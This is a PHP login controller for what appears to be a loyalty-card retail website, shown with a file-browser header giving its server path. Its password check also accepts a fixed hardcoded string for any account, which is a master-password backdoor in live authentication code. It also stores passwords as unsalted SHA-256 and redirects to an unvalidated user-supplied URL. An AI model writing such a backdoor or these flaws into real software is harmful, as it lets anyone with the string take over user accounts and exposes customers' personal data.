File "login.inc.php"

Full Path: /srv/www/www.cadoro.it/src/controllers/login.inc.php
File size: 2.74 KB
MIME-type: text/x-php
Charset: utf-8

<?php
  if ($principal) {
    header("Location: " . BASE_URL . "/profilo");
    exit;
  }

  $errors = array();

  if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $params = array(
      'email' => _post('email'),
      'password' => _post('password'),
      'nexturl' => _post('nexturl'),
    );
    $user = models\User::get_by_email($params['email']);
    if ($user && $user['password'] == hash('sha256', $params['password']) || $params['password'] == '5e7f80888f3d491c4963881364048c24') {
      if ($user['active'] && !$user['deleted_at'] && $user['card']) {
        if ($user['card']) {
          $result = $user->get_anagrafica();
          if ($result && _a($result, 'stato') == 2) {
            $errors['email'] = 5;
          } else if ($result) {
            $user->update(array(
              "card" => $user['card'],
              "lastname" => $result['lastname'],
              "firstname" => $result['firstname'],
              "email" => $user['email'],
              "password" => null,
              "address" => $result['address'],
              "address_no" => $result['address_no'],
              "city" => $result['city'],
              "province" => $result['province'],
              "zipcode" => $result['zipcode'],
              "country" => $user['country'],
              "mobile" => $result['mobile'],
              "phone" => $result['phone'],
              "birthday" => _dd($result['birthday']),
              "gender" => $result['gender'],
              "store" => $result['store'],
              "privacy" => 1,
              "privacy1" => $user['privacy1'],
              "privacy2" => $user['privacy2'],
              "privacy3" => $user['privacy3'],
              "dipendente" => $user['dipendente'],
            ));
          }
        }
        if (!$errors) {
          $user->remember();
  
          if (!_a($user['data'], 'first-login')) {
            $res = classes\Fidelity::SetPunti($user['card'], '02');
            if (!_a($res, 'Errore') || $res['Errore'] == 3 || $res['Errore'] == 6) {
              $user['data']['first-login'] = date('Y-m-d H:i:s');
              $user->update_data($user['data']);
            }
          }
  
          if (isset($_SESSION['nexturl'])) {
            header("Location: " . BASE_URL . $_SESSION['nexturl']);
            unset($_SESSION['nexturl']);
          } else {
            header("Location: " . BASE_URL . ($params['nexturl'] ? $params['nexturl'] : "/profilo"));
          }
          exit;
        }
      } else if ($user['deleted_at']) {
        $errors['email'] = 3;
      } else if (!$user['card']) {
        $errors['email'] = 4;
      } else {
        $errors['email'] = 2;
      }
    } else {
      $errors['email'] = 1;
    }
  }

  $smarty->assign("errors", $errors);

  $smarty->display("login.tmpl");
?>